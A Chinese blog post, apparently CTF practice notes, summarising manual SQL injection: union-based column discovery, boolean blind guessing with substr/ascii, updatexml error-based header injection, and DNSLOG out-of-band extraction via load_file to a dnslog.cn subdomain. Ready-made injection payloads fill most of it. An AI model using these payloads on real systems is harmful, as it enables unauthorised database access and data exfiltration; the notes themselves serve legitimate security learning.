sql手动注入经验总结


总结了一下sql几个注入的基本思路和用法,现来分享一下

基本知识

在这里插入图片描述

在这里插入图片描述

sql注入

如何判断有无注入: and1=2
步骤:
1、找注入点(id=1等等)
2、通过order by 找出一共有多少列数。(报错数字前一个)id=1 order by 3 (前面不用加and)
3、利用union select 1,2,3 (一般用null取代)到那个数字 显示哪个数字证明那个数字是输出点 id=1 union select 1,2,3 (前面不用加and)
4、把输出点更换成对应函数测出库名,表名,字段,数据等
在这里插入图片描述

拓展
and 1=2 可更换成 id=1.1/999999 (报错即可)
limit1,1 第一个1代表列数,第二个1代表出现多少个结果

通过源码判断是否通过’'或者 ()使语句无效
如果id=‘1’ 则搭建语句时用 ’ union select 1,2,3 — sad
如果是id=(‘1’) 则搭建语句时用 ’) union select 1,2,3 — sad


SQL盲注

如何判断有无注入SQL盲注:同上
就是无法直观看到显示结果,通过对错判断是否猜解正确
在这里插入图片描述
在这里插入图片描述
利用burp爆破猜解
平常语句:

猜库名:
and (ascii(substr(database(),1,1)))=107 返回正常,说明数据库名称第一位是k

猜表名:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6
and substr((select table_name from information_schema.tables where table_schema='kanwolongxia
' limit 0,1),1,1)='l' 返回正常,说明数据库表名的第一个的第一位是l

猜字段名:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i' 返回正常,说明loflag表中的列名称第一位是i

太麻烦了burp的intruder爆破猜解一步到位
在这里插入图片描述
在这里插入图片描述
具体步骤就把那几个输入改变点的可能字典集放到里面爆破就完事了


head注入

如何判断有无head注入:拿head去另一个浏览器不登陆也能进该网站

head注入可以利用burp抓包改包,放到Repeater去go完事
这里推荐插件Modheader(可以ua、referer、xff注入都可)
直接写刷新就行

主要流程代码
' or updatexml(1,concat(0x7e,(select database())),1),1)-- adf
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 1,1)),1),1) -- qwe
' or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1) -- qwe

在这里插入图片描述
拓展
updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码


dns漏洞注入

使用场景:在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSLOG把想获得的数据外带出来

推荐网站
利用这个网站构建要添加的子域名
像下面:select database()是查询语句 cp846m.dnslog.cn是子域名(记得前面加点)1.txt不存在只起到查询作用
and load_file(concat(’//’,(select database()),’.cp846m.dnslog.cn/1.txt’))
在这里插入图片描述
查询语句结果可在该网看到

拓展
LOAD_FILE:读取文件并返回文件内容为字符串
多次查询同一语句不会改变结果,因为不会重复解析,可以更改子域名或者在前面加.asd.等等

持续更新
未经同意不许转载

猜你喜欢

转载自blog.csdn.net/qq_43337502/article/details/108537098